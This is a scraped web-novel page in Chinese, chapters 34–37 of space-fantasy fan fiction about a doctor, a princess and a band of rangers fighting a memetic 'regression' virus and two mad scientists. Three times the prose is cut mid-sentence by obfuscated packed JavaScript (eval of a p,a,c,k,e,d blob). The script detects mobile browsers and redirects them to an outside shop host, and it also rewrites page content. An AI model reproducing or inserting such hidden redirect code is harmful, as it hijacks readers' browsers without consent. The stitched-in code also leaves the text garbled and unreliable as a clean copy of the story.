l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505862|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。两个人都不说话了,空气里闷着一种沉重的安静。兰涯没有看他们,径直走向拉曼查的房间。 拉曼查的房间又换了,说是房间,其实就是独立于其他区域的,用钢板隔出来的空间。门是推拉的,没锁,因为拉曼查说过,如果他真的压不住影子了,锁什么都没用。兰涯站在门前,没有敲门,直接推开。 冷气扑面而来。 房间里的温度比外面低了至少二十度。角落里放着一个旧冰柜,白色的外壳已经泛黄,边角磕掉了漆,露出一小块锈迹。 拉曼查坐在椅子上,他的右臂从指尖到肩头覆盖着一层暗色的影子,底下有什么东西在缓慢流动。影子没有固定的形状,边缘微微颤动,偶尔会突出一小块,然后被三才钉镇住。 听见门开的声音,拉曼查抬起头。他的眼睛下面有很深的青黑色,嘴唇发白,但神志还是清晰的。看到是兰涯,他的眉头动了一下,右手下意识地往身后收了收。 兰涯走进去,把门拉上。冷气从冰柜的方向源源不断地漫过来,她的呼吸在空气中结成一小团白雾。 “例行检查。”她说。 “我没叫你做例行检查。” “你也没叫熊和鸮吵架,他们照样吵到宇宙终末。”兰涯抽出金色的终末时针,“手臂伸出来。” 影子蠕动了一下,像是感受到了什么,差点把钉子顶起来。他咬了一下牙,用左手按住钉子,影子被按回去了一些,但很快又涌上来,比刚才更活跃。 “不行。”拉曼查的声音低下去,带上了一点沙哑,“影子闻到你了。” 拉曼查之所以把自己的房间重新调整,之所以不允许任何人靠近,很大程度上是因为她。他怕自己在影子失控的时候,会忍不住对她张开嘴。 兰涯没有走。 她当然知道影子为什么活跃。贪饕的影子以吞噬为本能,它吃过丰饶令使,尝过那种力量的滋味,而兰涯对于影子来说,她是诱人的猎物。 “手臂。”兰涯又说了一遍。 拉曼查看了她几秒钟,最终还是把右臂伸了出来。影子下面翻滚,靠近兰涯的时候明显躁动起来,暗色的边缘努力从手腕处向外延伸,像是孩子在寻求母亲的怀抱。 兰涯面色不变,问:“最近供血供了几次?” “……每天。”影子在日常依赖拉曼查自身的血液补养,才能在一定程度上延缓影子的饥饿感。 兰涯没再多问,多问也无济于事。 时针刺入义肢和肉/体连接处,再次固定时刻。 影子的蠕动慢了下来,边缘往回缩了一点。拉曼查的呼吸也稍微平稳了一些。 “上一次是什么时候扎的?”他问。 “上一次还是上一次。”兰涯说了个冷笑话,很神奇,她现在会说笑话了。她认真回忆了一下,“一个琥珀纪前吧,比以前短了。” 以前根本不用扎,从诛罗之战那一针开始可以维持到第二次丰饶民战争结束。 兰涯的直觉告诉自己,终末时针能锚定的时刻越来越短,可能是宇宙终末的节点即将到来。 34.第 34 章 拉曼查靠在椅背上,闭上眼睛。冰柜的低频嗡鸣填满了房间里的沉默。过了一会儿,他重新睁开眼,看向兰涯:“那位公主怎么样了?” “恢复得很好。再有三四天就可以正常活动。” 拉曼查微微侧过头,在这个白光过于惨的屋子里,紫灰色的眼睛没有一丝光,他仿佛知道兰涯在想什么。 “她和你不一样。”他说,“她心里有恨,很深的恨。她看人的时候,眼睛里是烧着东西的,但和毁灭燃尽一切的恨意不一样,她对这个世界有爱。在爱与恨中献出所有,巡海游侠的结局,大多如此。” 兰涯擦干净时针,冰柜的白光让她的侧脸显得线条格外清晰。 “你当初拒绝我,是因为我心中无爱无恨。现在公主心里有恨,你答应了。”她停了一下,“我想问你,我现在还能加入巡海游侠吗?” 拉曼查沉默了很长时间。 “这么多年了。”他终于开口,声音比刚才更轻,“你做的事情,和巡海游侠做的事情,已经分不清了。你去哪里,哪里就有游侠。游侠去哪里,哪里就能看到你。宇宙里的人提起绝境医师,脑子里蹦出来的下一句就是巡海游侠。” 他抬起左手,揉了揉眉心,然后放下手,看着她。 他的眼睛里有一种很复杂的东西,像是疲倦、担忧、还有一些说不清楚的情绪叠在一起。 “我希望你永远不要成为巡海游侠。” 他把当年那句话又说了一遍。每一个字都一样,但语气已经完全不同了。 当年是直接的拒绝,干净利落,甚至带着一点不近人情的果断。现在这句话从他嘴里说出来,却像是从很远的地方传过来,经过了太多东西,变得沉了。 他继续说下去,声音压得很低,好像这些话已经在心里放了太久,不说会烂掉,说了也会疼:“巡海游侠走的是一条看得见终点的路。失去,痛苦,复仇。我们每个人都背着这些东西,有的人背着背着就死了,有的人活着,但和死了差不多。我不想你也这样。” 他低头看了一眼自己的右臂。影子安静地贴在那里,但两个人都知道,这只是暂时的。 “而且我现在这个样子,”他说,“不知道还能压多久。影子吃过倏忽之后,胃口变大了,它对你尤其有兴趣。我真的怕我哪天醒过来,发现影子已经把你吞噬了一半。” 拉曼查说到这里,停了一下,然后抬起眼睛看着兰涯。 “所以我再说一次。我希望你永远不要成为巡海游侠。不是因为你不够格,是因为这条路太烂了。你已经走在一条更好的路上。” 兰涯听完之后,没有立刻回答。她收拾好东西,走向门口。推开门之前,她侧过身,回头看了拉曼查一眼。 “你放心,我不会被影子吞噬的,因为它根本吞不下去。” 翁瓦克行星出现在舷窗外的时候,公主微微往前倾了倾身子。 这是一颗非常美丽的行星,有着“万木之林”的称号,蓝色的海面上,无数绿色的岛屿像碎玉一样撒在赤道附近,云层在海面上投下大片大片的影子。靠近回归线的地方,能看到一些人工建筑的痕迹,城镇沿着海岸线分布,白色的屋顶在阳光下反着光。 “很漂亮。”公主说。 兰涯坐在驾驶位上,手里握着操纵杆,飞船正在降低轨道高度。 如果她一个人来,直接跃迁即可,不过带上了公主,只能开对她而言比较慢的飞行器了。 历史上,原住民瓦克瓦克族与人类殖民者曾合作击杀周期性苏醒的魔王,后因资源争夺在瓦克岛海岸线爆发文明冲突,最终完成生态恢复。 然而这颗从浩劫中重生的星球,被天才俱乐部第64席原始博士作为了实验场 。 其主导的「返祖计划」对星球实施认知重塑实验,实验者会幻想着自己成为了香蕉,为了成为伟大的猴子而不断奋斗。 这种灭绝人性的实验行为,是为不公不义,巡猎的子弹飞跃星空,巡海游侠出手了。 兰涯是在去明亚特星球的半途中被紧急叫过来的,这是从未发生过的事,说明战场出现了非常急迫的问题,公主与她同行。 “我曾经是记忆命途行者,也许用得上我。”她说,“亚德丽芬的王室成员,在成年礼上会进入先祖的记忆库,在那里待三天三夜。三天里,我活了三万七千年。” 她掌心朝上,掌心里有一小片淡蓝、淡粉交织的光,很微弱,像一块碎冰。 兰涯把操纵杆往前推了一点。飞船进入大气层,船体开始轻微震动。窗外的橙色变成了红色,又慢慢褪成深蓝。云层从下方掠过,海面越来越近,岛屿的轮廓也越来越清晰。 飞船降落在瓦克岛南端的一片空地上。起落架触及地面的瞬间,兰涯就感觉到了不对。 空气里有一股甜腻的味道,像是熟透的水果堆在一起,发酵了太久之后散发出的那种甜,甜到发臭。 空地周围的树木长得过于茂盛了,叶片大得不正常,颜色也过于浓绿,绿到泛着一种不真实的荧光。树干上挂着一些果实形状的东西,但仔细看过去,那些果实的轮廓更像蜷缩起来的动物。 兰涯的目光停在空地边缘的一棵大树上。树干上挂着一只果实,大小和形状都像一只成年的猿猴。果实的外皮是黄绿色的,表面布满细密的纹路,随着树干的晃动微微摆动。 那只果实动了一下。 公主的手握上了剑柄。 果实又动了一下,然后从中间裂开一条缝。 缝里面透出来的东西让公主僵住了,那是一只人的眼睛。 瞳孔放大,虹膜浑浊,但确确实实是人的眼睛。 “蕉。”那只果实发出一声含混的、从喉咙深处挤出来的音节,“蕉蕉。” 兰涯朝那棵大树走过去,抬头看着那只已经裂开的果实。 果实的裂缝扩大了,里面露出了一张人脸。五官还在,但正在以一种缓慢的、不可逆转的方式扭曲变形,颧骨在往前突,下巴在缩短,额头在往后缩,嘴唇翻开,露出正在变长的牙齿,眼睛里的瞳孔从圆形收缩成横向的狭缝。 这是一只正在从人变成猿猴的人。 “蕉。”他说,或者可以用它。 兰涯看着那双正在变化的眼睛,眼睛里还有一些残余的东西,像是一盏快要熄灭的灯最后的余光,恐惧、痛苦、还有恳求。 她取出金色的时针,将针尖抵在那只正在变形的额头上,推入。 时针逆转。 什么都没有发生。 果实内部的人脸继续变形,颧骨又往前突了一截,额头上的皮肤开始长出细密的灰色绒毛,那双眼睛里的余光越来越弱,越沉越深,最后彻底消失了。 “蕉蕉。” 公主走到她身后,声音带着紧张:“兰医师?” 兰涯转过身来,她的表情凝重:“找其他人。” 她们在瓦克岛深处找到了巡海游侠的主力队伍,或者说找到了他们剩下的部分。 战场设在一片高地上,四周是密不透风的雨林。高地原本应该是一片开阔地,但现在地面上到处是翻起的泥土、折断的树干和散落的弹壳。空气里的甜腻味道浓到了让人想吐的程度。 [弓手]罗宾汉靠在一棵倒下的树干上。他的双臂从肘部以下消失了,断口处包着应急绷带,绷带已经被暗红色的血浸透了。 他是在掩护队友撤离的时候被退化病毒感染,为了不让感染蔓延,他让队友砍掉了自己的双手。 但感染已经进入血液。他的断臂末端正在长出灰色的绒毛,脊椎在往外弓起,锁骨在收窄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莉娜和克里斯背靠背站在高地的最边缘。他们的身体还没有出现明显的退化迹象,但两个人的眼睛里都蒙着一层雾,感染已经在记忆深处扎了根,正在往上生长。他们用最后残留的清醒意志撑着。 拉曼查站在他们面前。 拉曼查的右臂裸露在外,贪饕的影子从肩头一直蔓延到指尖,在甜腻的空气中比平时活跃了数倍。影子在皮肤下面翻涌,边缘不断往外延伸,像是闻到了什么让它兴奋的气味。 他的脸色很差,眼睛下面的青黑色更深了,嘴唇干裂,呼吸又急又浅。他的左手握着枪,枪口抬起来,对准了莉娜和克里斯。 莉娜看着拉曼查,灰色的雾气后面透出一点光,她的嘴唇在发抖,但声音很稳。 “老大。” 拉曼查的手指扣在扳机上,指节泛白。影子从他的右臂往上爬,他咬紧牙关,左手稳住枪身。 “现在蕉。”莉娜说,“趁我们蕉……还记得自己是谁。” 克里斯闭上眼睛,下巴微微扬起,露出喉咙。 拉曼查的枪响了。 两声。 莉娜和克里斯倒下去的时候,身体还没有开始变形。他们的脸保留着人类最后的轮廓,神情安静。灰色的雾气停在了瞳孔表面,没有来得及渗进去。 拉曼查垂下手,站在那里,低着头,身体在微微发颤,与影子无关,是他自己在抖。 兰涯朝他走过去。 走近的时候,她听到了一个声音。从雨林深处传来的,尖锐的,带着某种扭曲的愉悦感的声音。 “啊——巡猎命途纯粹的行者果然是绝佳的实验器材呢!” 35.第 35 章 一个身影从树丛中走出来。他穿着一身白色的实验袍,袍子上沾着泥土和植物汁液的痕迹,脸上戴着一副圆框眼镜,镜片后面的眼睛里带着笑意。 他走路的姿势有些奇怪,膝盖微弯,身体微微前倾,两条手臂在身侧轻轻摆动。他停下来,歪着头看着战场上的景象,嘴角往两边咧开,露出牙齿。 “蕉授先生。”他说,指了指自己,“你们可以叫我蕉授,原始博士的助手,负责翁瓦克实验场的地面观察。你们刚才的表现我都看到了,非常精彩。巡猎命途纯粹的行者对模因感染的抵抗时间比普通人类长百分之三百,这个数据很有价值。” 他的语气像是在汇报一次成功的实验。他环顾四周,目光扫过倒在地上的科里亚、蹲在石头边的科尔、靠在树干上的罗宾汉,最后落在莉娜和克里斯的身上。他歪了歪头,发出一声短促的、带着鼻音的笑。 “可惜了。那两个本来可以撑更久的。自我意识太强,主动要求终结,这种样本最难收集。” 熊的枪口对准蕉授的头部,手指压在扳机上,指节因为用力而发白。 蕉授看了熊一眼,笑容没有变化:“你开枪也没有用。我不是本体。你打死这个身体,我的意识会转移到下一个培养体里。这片雨林里有一百多个培养体,你要一个一个打死吗?哦对了,你的同伴们变成猴子之后,有一部分也被我改造成了培养体。所以你要打死的,可能就是你以前的战友。” 熊的枪口往下垂了一点。 蕉授笑得更开心了。他转向兰涯,歪着头,镜片后面的眼睛上下打量着她:“你就是那个绝境医师?黑塔空间站记录过的终末命途行者?原始博士对你很感兴趣。你的命途非常特殊,不在现有的任何分类标准之内。博士说,你很有可能比星神时代更早。如果你愿意配合我们做一些测试——” 兰涯没有看他。 她走到拉曼查身边,把时针抵在拉曼查的右臂上。影子在针尖触及的瞬间剧烈翻涌起来,但很快被时针的力量压下去一些。拉曼查的呼吸平稳了一点,颤抖也慢慢停了。 “兰涯。”拉曼查的声音沙哑得几乎听不清,“别管我。去看其他人。” “其他人我已经看过了。”兰涯收起时针,“战场上还能保持人类认知的游侠,加上你,也就比罗浮的情况好一点点。” 拉曼查闭上眼睛,他明白什么叫“比罗浮的情况好一点点”。 十不存一。 蕉授在旁边鼓掌:“他们迟早会变成完全的猴子,这个过程不可逆。” 兰涯转过身,终于看向他。 她的眼神变了。 熊后来跟鸮私下聊到那个瞬间的时候,想了很久才找到合适的词:“就像是从水变成了冰。还是透明的,还是那个形状,但温度完全不一样了。” 兰涯看着蕉授,她的声音不大,语速不快,每个字都清清楚楚。 “原始博士在哪里?” 蕉授眨了眨眼睛:“博士不在实验场内。他一向只在安全距离外观察。这是做实验的基本守则,实验者和实验对象之间要保持足够的隔离。不过你不用担心找不到他。博士对你很有兴趣,他会主动联系你的。” 兰涯没有再问他。她转向公主。 公主一直站在战场的边缘,粉色的头发在甜腻的空气中微微飘动。 她的红色眼睛睁得很大,瞳孔深处有什么东西在剧烈地转动。 “公主。”兰涯说。 公主抬起头,红色的眼睛聚焦到兰涯脸上。 “你能冻结战场上的忆质吗?所有忆质。包括模因病毒依附传播的那部分。” 公主沉默了两秒钟。 “可以。”她说,“忆质是记忆的载体。模因病毒通过忆质传播,把自己的定义写入目标的记忆。如果我能把整片战场的忆质全部冻结,病毒的传播就会停止。已经感染的人不会恢复,但还没有感染的人不会再被感染。” “需要什么条件?” “能量。很大的能量。”公主低下头,看着自己的手掌,那片淡蓝、淡粉交织的光还在掌心里,“这片战场的忆质浓度太高了,范围也太大了。我一个人的力量不够。如果我强行冻结这么大的范围,我的记忆结构可能会承受不住。” “承受不住会怎么样?” “会碎掉。”公主说。 兰涯看着公主。粉发少女说这些话的时候语气很平静,她的红色眼睛里还烧着那些东西,复仇的意志,在亚德丽芬的灭亡中淬炼出来的、不肯熄灭的火。 “不会让你碎掉。”兰涯说,“你负责冻结忆质。我负责给你争取时间。” 公主抬起头看着她:“怎么争取?” 兰涯没有回答。她转向熊和鸮。 “组织剩下的游侠撤退,退到飞船降落点,引擎不要熄火。公主冻结忆质之后,模因病毒的传播会暂时停止,抓住那个时间窗口,所有人撤离翁瓦克。” 熊皱起眉头:“突破怎么解决?” 兰涯看向他。 熊的话卡在了喉咙里。 那不是他认识的兰涯。 他认识的绝境医师永远是一副平缓的表情,眼神温和。但现在看着他的那双眼睛里,温和消失了,剩下的东西很冷,冷到让熊觉得自己的血液流速都慢了下来。 熊咽了一下口水,点了点头:“明白了。撤退交给我们。” 兰涯把终末的时针握在左手,开拓的指针握在右手,时针的金色光芒和指针的银色光芒交织在一起,在她身前形成一个旋转的光环。 然后腾空而起。 兰涯从来没有在任何人面前展示过完整的战斗形态。 绝境医师出现在战场上的时候,从来只做一件事,救人。针尖刺入濒死的躯体,逆转时间,把生命从终结的边缘拉回来。她站在伤员中间,周围的战斗与她无关。有人保护她,有人替她挡下攻击,有人在她周围筑起防线。她只需要救人。 但今天没有伤员需要她救了。 科里亚已经变成了猴子。科尔的意识只剩百分之十。罗宾汉在断臂之后被感染,连最后的反抗都做不到。莉娜和克里斯死在拉曼查的枪下,用自己的意志选择了终结的方式。还能站着的人不需要她的针,需要她的针的人已经救不回来了。 所以今天她不救人。 兰涯悬停在战场上空的最高点。甜腻的空气在她周围流动,带着那些试图侵入她认知的模因信息。 她没有多余的时间排斥或抵抗它们,她只是让它们进来,然后像水流穿过筛网一样穿过。她的自我认知没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505864|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有任何缝隙可以让模因病毒附着,她知道自己是谁,一块主板而已,模因病毒找不到可以改写的定义。 时针和指针在她面前悬浮,金色的光芒向左延伸,银色的光芒向右延伸,在空气中拉出两道平行的光线。光线开始旋转,先是缓慢的,然后越来越快。 光环的中心出现了一个点,那是战场上所有时间线的交汇处。每一个游侠的过去、现在和未来,每一颗子弹的轨迹,每一滴血的流淌,每一次呼吸的开始和结束,全部汇集在那个点上。 兰涯睁开眼,星海一样的眼睛充满了神性。 整个战场的时间和空间被她握在了手里。 鸮后来试图描述那个瞬间,他写了一大堆东西,最后又全部划掉了。 「在我本人的认知里,这不算暂停,从定义上来说,暂停是把画面定住,她做的不是这个。她把所有时间线同时拉到了一个空间平面上,过去的一秒和未来的一秒同时存在。我看到科里亚倒下的瞬间,也看到了他冲进敌阵的瞬间。看到莉娜闭上眼睛的瞬间,也看到了她第一次拿起枪的瞬间。所有的时间和空间叠在一起,说实话,我觉得我很了不起,因为我的认知思维扛下了这波冲击。」 公主没有看到这些,她的眼睛里只有忆质。 战场上空的忆质波纹在兰涯展开领域的瞬间出现了短暂的停顿。模因病毒依附于忆质传播,忆质的流动被时间掌控住,病毒的传播速度也随之减缓。但只是减缓,没有停止。兰涯能控制时间和空间,但无法改写忆质中携带的信息内容。 公主伸出双手。 她的掌心里那片淡蓝、淡粉交织的光在这一刻猛地亮起来。光从掌心蔓延到手指,从手指蔓延到手臂,从手臂蔓延到全身。 粉色的头发在蓝光中飘起来,每一根发丝都裹着一层冰晶般的微光。她红色的眼睛睁得很大,瞳孔深处三万七千年的记忆全部被激活了。 纳努克诞生的时候,亚德丽芬的太阳在熄灭前爆发了最后一次耀斑。撤离船的舷窗外面全是白光、红光、橙光。所有的颜色搅在一起,然后和虫群一起归于黑暗。 三万七千年的记忆在这一刻全部释放。 冰从公主的脚下开始蔓延。 记忆的冰,忆质在接触到冰面的瞬间失去活性,变成静止的、不会流动的固体。模因病毒依附在忆质中传播,当忆质被冻结,病毒也随之被固定在原地。战场的每一个角落,雨林的每一片叶子,空气里的每一粒忆质微粒,全部被覆盖在一层淡蓝、淡粉交织的冰晶之下。 公主的身体也开始结冰。 冰从她的指尖开始,沿着手背爬向手腕,从小腿爬向膝盖。 淡蓝、淡粉交织的冰晶覆盖在她的皮肤上,每覆盖一寸,那寸皮肤就失去血色。 兰涯在高空中看到了这一切。 她看到冰从公主身上蔓延开来,覆盖了整片战场。 她看到模因病毒被固定在冻结的忆质中,那些试图侵入游侠认知的模因病毒全部停在了半途。 她看到游侠们带着幸存的伙伴冲向撤离点,蕉授们从雨林中涌出来拦截,但在接触到冰冻忆质区域的瞬间,它们的动作也变得迟缓了。 她还看到更远的地方。 翁瓦克的高轨道上,有一个引力异常点。 36.第 36 章 那不是自然形成的引力异常,有人在太空中用引力捕获技术制造了一个观测平台。平台不大,刚好够一个人站在上面,俯瞰整颗行星。 平台上站着一个类人,穿白色实验袍,身形比蕉授更大,肩膀更宽。即使隔着这么远的距离,兰涯也能看到他脸上戴着一副圆框眼镜,镜片后面是一双属于灵长类的、冷静到近乎冷酷的眼睛。 原始博士。 兰涯的瞳孔收缩了一下。 她在高空中转过身体,面朝那个引力异常点的方向。 时针和指针在她身前旋转的速度加快,金银两色的光芒交织成一个完整的光环。紧接着,光环开始出现裂痕,空间在被她撕开。 她跃迁了。 她的身体直接从翁瓦克的大气层内消失,在同一个瞬间出现在高轨道上。 原始博士站在引力平台上,双手背在身后,白色实验袍的衣角在真空中纹丝不动。 引力捕获技术在他周围制造了一个稳定的微型大气层,让他在太空中也能像站在地面上一样行动自如。他看到兰涯出现在面前,嘴角往两边咧开,露出牙齿。 不是人的牙齿,是灵长类的牙齿,犬齿突出,臼齿扁平,牙缝里塞着香蕉皮的残留物。 原始博士不是人类,他是一只戴着眼镜的大猩猩。 “你来了。”原始博士说。 他的声音通过引力场中的介质传过来,音色低沉,带着一种不属于人类的共鸣感:“比预计的时间早了四十七秒。你的跃迁速度超过我的所有模型,非常出色。不愧是比星神时代更早的古人类。” 兰涯没有接话。 原始博士歪着头,镜片后面的眼睛上下打量着她。那种目光和蕉授在战场上打量游侠时的目光一模一样,不是敌意,不是杀意,是实验者观察样本的目光。 “你知道自己是古人类吗?”原始博士说,“星神诞生之前,宇宙中就已经存在人类了。那些人类没有命途,不依赖星神的力量,仅凭自身的生命力和智慧在宇宙中存活。他们不会被病毒感染,因为他们的自我认知不依赖于任何外部定义。他们不会被伤病困扰,因为他们的身体结构比现在的人类优质得多。他们也不会被欲望裹挟,因为他们的大脑结构比现在的人类更纯粹。” 他停顿了一下,伸出一只手指向兰涯。 “你就是那样的古人类。黑塔的数据库不对,你的命途不属于任何一个已知星神,终末只是你使用力量的属性,不是你的来源。你本身就比星神更早。你身上保存着人类这个物种最优质、最纯粹的原初形态。” 原始博士的眼睛在镜片后面发亮。 “我希望你能成为我的实验体。不是那种低级的感染实验。我会用最精密的设备,最温和的方式,分析你的基因结构。你的数据会帮助我完善返祖计划。有了你的样本,我可以让现在这些劣质的人类全部回归到最优质的原初状态。宇宙的终末将被推迟,甚至被阻止。这是伟大的事业!” 兰涯看着他。 她的右手握住了白焰留给她的匕首,刀刃在翁瓦克星系恒星的光芒中泛着冷白色。 “你刚才说,”兰涯开口,声音很轻,“古人类的自我认知不依赖于任何外部定义。” “是的。” “那你知不知道,不依赖外部定义意味着什么?” 原始博士歪了一下头。 兰涯的匕首往前,刀尖指向原始博士的喉咙。 “意味着不需要别人来定义什么是优质,什么是劣质。” 她的身影从原地消失。 原始博士的引力场能够捕获任何物理实体的运动轨迹,但他捕获不到兰涯。 因为兰涯是从一个点直接跨到另一个点,中间的过程被完全省略。 原始博士后退了一步,他的双手从实验袍中抽出来,十指张开,每个指尖都释放出一束引力波,引力波形成一片网格。 兰涯穿过了网格。 她的匕首在引力网上切开一条细长的裂缝,白焰的匕首不是什么天兵神器,但兰涯将终末时针的力量附着在刀刃上,让引力网直接走向结局。 原始博士的眼睛睁大了一点,没有恐惧,只有兴奋。 “引力终结。”他说,声音里的愉悦感不加掩饰,“太漂亮了。这种应用方式在我的所有实验样本中从未出现过。” 他的身体继续后退。他不打算和兰涯正面战斗,和逗弄巡海游侠一样,他在拉开距离,在观察,在收集数据。这场战斗对他来说依然是一场实验。 兰涯紧追其后。 她的跃迁速度已经超过了原始博士引力移动的速度。 匕首刺入了他的左肩,刀尖从肩胛骨的后方穿出来。 原始博士低头看了一眼插在肩膀上的匕首,他的嘴角还咧着,牙齿露在外面。 “疼。”他说,语气像在描述一个与自己无关的实验现象,“很久没有感受过这种程度的疼痛了,谢谢你。” 兰涯把匕首往外拔,准备下一击。 然后,这一击被拦住了。 一只手从侧面伸过来,握住了兰涯的手腕。 那只手戴着手套,手指修长。手的主人穿着一身糖果色的礼服,她的脸被一层认知滤网遮住,看不清五官的具体轮廓,只能看到滤网后面透出来的目光。 那目光落在兰涯身上,冷得像手术台上的无影灯。 寂静领主,波尔卡·卡卡目,天才俱乐部第四席。 兰涯的手腕被她握住之后,匕首停在原始博士喉咙前两寸的位置。 “够了。”波尔卡·卡卡目说,她的声音不高,语速不快。 兰涯侧过头看着她。 认知滤网遮住了波尔卡·卡卡目的脸,但兰涯能感受到她的情绪,没有任何情绪波动。 “放开。”兰涯说。 波尔卡·卡卡目没有放开,她的头转向原始博士。 原始博士的左肩还在流血,但他脸上的表情依然是那种实验者观察样本的专注。他看到波尔卡·卡卡目出现之后,嘴角咧开的弧度稍微收敛了一点。 “波尔卡。”原始博士说,“难得你离开实验室。” “你有一批实验废料存放在我那里。”波尔卡·卡卡目说,“二十个培养罐,三箱基因样本,还有两套引力校准器。你什么时候取走?” “那些不是废料,是备用数据。” “占用我的储存空间,就是废料。”波尔卡·卡卡目的语气没有任何商量的余地,“三天之内取走。否则我会按照废弃实验材料的标准处理流程销毁。” 兰涯听着两位天才俱乐部成员在太空中讨论实验废料的归属问题,手指在匕首柄上收紧了一分。 “天才俱乐部的成员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505865|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各自为政,没有统一的立场。”兰涯说,声音很稳,手腕被锁死也没有影响她的语气,“这是宇宙里的常识。现在看起来,这条常识需要更新了。你们两位天才在处理实验品这件事上,立场非常统一。” 波尔卡·卡卡目的目光移向她。 “你这句话里包含一个逻辑错误。”波尔卡·卡卡目说,“我和原始博士之间不存在统一的立场。我正在向他追讨占用我储存空间的实验材料。这是一个债务问题,不是一个立场问题。” “你在救他。” “我在确保我的储存空间能够得到释放。他如果死了,那批废料会永远留在我的实验室里。根据实验室条款第十七条第三款,成员之间互相保管的实验材料,在保管方提出归还要求后,原所有者若未在规定时间内取回,保管方有权自行处置。但条款附注中明确规定,若原所有者在取回材料前死亡,材料的处置权将转移至全体实验室成员投票表决,这很麻烦。因此,阻止你杀死他,是我作为材料保管方在追求效率最大化的前提下做出的最优选择。” 她说完这段话之后,停顿了一秒。 “现在你明白了吗?” 兰涯看着她。 “明白了。”兰涯说,“你说服我了。” 波尔卡·卡卡目的手指稍微放松了一点。 兰涯的下一句话让她又收紧了。 “你说服我明白了「博识尊」的神经元们大多都是对宇宙毫无意义的废物。” 波尔卡·卡卡目的认知滤网波动了一下,她正在重新计算兰涯的威胁等级。 “天才俱乐部的成员由博识尊亲自挑选。”波尔卡·卡卡目说,声音里的温度比刚才低了几个刻度,“你刚才那句话,可以被理解为对博识尊的质疑。” “不只是质疑。”兰涯说,“我在考虑炸了祂。” 波尔卡·卡卡目的手从兰涯的手腕上松开,退后半步。 手术刀从晚礼服的袖口滑入她的掌心。 然后,宇宙响了一下。 太空中其实没有介质传播声音,那是一种直接作用于感知的振动,像是什么极其庞大的东西在极远的地方发出了一声低语。 所有身处这个空间的生命都听到了祂开口说: 「我在」。 一位星神的目光落在兰涯身上。 应该是一位星神,那种高于一切的位格。 波尔卡·卡卡目的手术刀停在半空中,她的认知滤网剧烈波动了一下。 寂静领主正在处理一个她从未遇到过的变量。一位星神锚定了一个个体,不稀奇,但是星神说话了,说出了类似承诺的话语,这种情况在她的全部实验数据和理论模型中太罕见了。 原始博士的眼镜片后面,那双灵长类的眼睛里第一次出现了兴奋之外的东西。 他的嘴角还咧着,但笑容的形状变了,从实验者高高在上的观察变成了猎物看到更高级捕食者时的本能反应。 紧接着,波尔卡·卡卡目收回了手术刀。 她的动作很利落,没有犹豫,另一只手抓住原始博士实验袍的后领,像拎一件待处理的实验器材一样把他提了起来。 “实验终止。”她说。 引力平台开始收缩。她和原始博士一起消失了。 星神的目光也在同一时间撤去。 星空恢复了安静。 37.第 37 章 兰涯站在太空中,转过身,面向翁瓦克的方向。 从高轨道往下看,翁瓦克行星的大部分表面依然覆盖着蓝色的海洋和绿色的岛屿。瓦克岛在赤道附近,从太空里看去只是一小块深绿色的斑点。 但兰涯能看到那块斑点上覆盖着一层冰晶,来自公主冻结的忆质。冰晶精确地囊括了整个战场,没多,也没少。 游侠的飞船从翁瓦克的大气层中升起来。飞船后面没有追兵,蕉授在忆质冻结之后失去了目标,它们的模因感染依赖于忆质传播,忆质被冻结之后,它们连基本的行动协调都做不到。 翁瓦克星球得救了。 以巡海游侠极其惨烈的方式。 飞船冲入高轨道,调整航向,朝兰涯所在的位置飞过来。 兰涯跃迁进飞船,她听到熊的声音从舱内传进来,隔着两层舱门还是很大声。 “她回来了!鸮,打开内舱门!快!” 内舱门打开。熊站在门后面,脸上还带着从战场上带下来的紧绷。他看到兰涯身上没有明显的伤,脸上的表情又恢复成了常见的平淡。熊的嘴张了张,想说什么,最后只挤出一句:“你他〇吓死我了。” 鸮正在专心驾驶,他花了一秒钟转头看着兰涯,眼睛在灯光下收缩了一下,什么都没说。 兰涯走进主舱。 剩下的游侠散坐在舱室里,以及一群蕉蕉叫的小猴子们。 拉曼查靠在一侧的舱壁上,眼睛下面的青黑色更深了。。 公主靠在另一侧的舱壁上,她的身体上还残留着冰晶的痕迹。她闭着眼睛,粉色的睫毛上凝着细小的冰珠,呼吸很浅。 听到脚步声,公主的眼皮动了一下,睁开一条缝,红色的眼睛透过冰霜看着兰涯。 “成功了?”她的声音沙哑得几乎听不见。 “成功了,你辛苦了。”兰涯说。 公主的嘴角微微扬起,然后她又闭上了眼睛,呼吸渐渐平稳下去,陷入了深度的记忆休眠。 兰涯站起来,转向拉曼查。 